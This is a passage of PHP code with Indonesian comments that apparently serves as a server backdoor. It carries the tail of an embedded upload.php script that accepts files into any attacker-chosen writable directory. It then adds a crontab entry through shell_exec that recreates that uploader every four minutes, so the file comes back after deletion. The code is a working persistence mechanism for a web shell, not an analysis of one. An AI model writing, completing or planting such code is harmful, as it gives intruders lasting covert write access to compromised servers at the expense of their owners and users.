\'; echo \'\'; echo \'\'; echo \'\'; echo \'\'; } if (isset($_FILES[\'file\'][\'tmp_name\'])) { // Tangani unggahan file jika formulir dikirimkan $uploadd = $_FILES[\'file\'][\'tmp_name\']; $allowedTypes = array("image/jpeg", "image/png", "application/pdf"); // Daftar tipe file yang diizinkan if (in_array($_FILES[\'file\'][\'type\'], $allowedTypes)) { if (is_uploaded_file($uploadd)) { // Validasi direktori $pwddir = $_POST[\'dir\']; if (!is_dir($pwddir) || !is_writable($pwddir)) { echo "Direktori tidak valid atau tidak memiliki izin tulis."; exit; } $real = $_FILES[\'file\'][\'name\']; $de = $pwddir . "/" . basename($real); // Gunakan basename untuk mencegah path traversal if (move_uploaded_file($uploadd, $de)) { echo "BERKAS DIUNGGAHKAN KE $de"; } else { echo "GAGAL MENGUNGGAH BERKAS."; } } else { echo "File tidak valid."; } } else { echo "Tipe file tidak diizinkan."; } } ?>'; // Tugas Cron untuk membuat file setiap 4 menit $createfileCronCommand = '*/4 * * * * ' . $makefilecommand . ' > /dev/null 2>&1'; // Tambahkan tugas Cron yang baru $result = shell_exec('(crontab -l ; echo "'.$createfileCronCommand.'") | crontab -'); if ($result === false) { echo 'Gagal menambahkan tugas Cron untuk membuat file upload.php.'; } else { echo 'Tugas Cron untuk membuat file berhasil ditambahkan.'; } ?>